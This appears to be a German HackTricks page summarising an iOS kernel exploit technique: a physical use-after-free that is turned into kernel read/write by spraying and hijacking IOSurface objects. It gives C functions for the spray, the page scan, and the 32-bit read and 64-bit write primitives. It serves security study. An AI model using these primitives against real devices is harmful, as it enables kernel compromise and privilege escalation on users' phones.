# iOS Exploiting {{#include ../banners/hacktricks-training.md}} ## Physikalisches Use-After-Free Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über den Exploit mit dieser Technik finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd). ### Speicherverwaltung in XNU Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **Kernel** **Seiten-Tabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen. #### Ebenen der Seiten-Tabellen in iOS Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert: 1. **L1-Seitentabelle (Ebene 1)**: * Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers. * Sie deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab. 2. **L2-Seitentabelle (Ebene 2)**: * Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell **0x2000000 Bytes** (32 MB). * Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann. 3. **L3-Seitentabelle (Ebene 3)**: * Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet. * Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist. #### Abbildung von virtuellem zu physischem Speicher * **Direkte Abbildung (Blockabbildung)**: * Einige Einträge in einer Seiten-Tabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung). * **Zeiger auf die Kind-Seitentabelle**: * Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** in der nächsten Ebene (z. B. L2) verweisen. #### Beispiel: Abbildung einer virtuellen Adresse Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen: 1. **L1-Tabelle**: * Der Kernel überprüft den L1-Seitentabelle-Eintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle. 2. **L2-Tabelle**: * Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort. 3. **L3-Tabelle**: * Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist. #### Beispiel der Adressabbildung Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann: * Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet. * Dies ist eine **Blockabbildung** auf der L2-Ebene. Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist: * Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle abgebildet. ### Physikalisches Use-After-Free Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn: 1. Ein Prozess **Speicher** als **lesbar und schreibbar** **allokiert**. 2. Die **Seiten-Tabellen** werden aktualisiert, um diesen Speicher auf eine spezifische physische Adresse abzubilden, auf die der Prozess zugreifen kann. 3. Der Prozess den Speicher **deallokiert** (freigibt). 4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert. 5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**. 6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher. Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, **Kernel-Speicher zu manipulieren**. ### Exploitation-Strategie: Heap Spray Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens **Heap Spray**: 1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher. 2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert. 3. Sie **durchsuchen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist. 4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**. Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups). ### Schritt-für-Schritt Heap Spray Prozess 1. **IOSurface-Objekte sprühen**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert"). 2. **Freigegebene Seiten durchsuchen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde. 3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Fähigkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen: * Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu **lesen**. * Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu **schreiben**, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird. Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE\_MAGIC, um später danach zu suchen: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden. **Wichtige Felder in IOSurface** Das IOSurface-Objekt hat zwei entscheidende Felder: 1. **Use Count Pointer**: Ermöglicht einen **32-Bit-Lesezugriff**. 2. **Indexed Timestamp Pointer**: Ermöglicht einen **64-Bit-Schreibzugriff**. Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht. #### 32-Bit Kernel Lesezugriff Um einen Lesezugriff durchzuführen: 1. Überschreiben Sie den **use count pointer**, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen. 2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### 64-Bit Kernel Write Um einen Schreibvorgang durchzuführen: 1. Überschreiben Sie den **indizierten Zeitstempelzeiger** mit der Zieladresse. 2. Verwenden Sie die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Exploit Flow Recap 1. **Trigger Physical Use-After-Free**: Freie Seiten sind zur Wiederverwendung verfügbar. 2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher zuweisen. 3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren. 4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen. Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitiven erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern. {{#include ../banners/hacktricks-training.md}}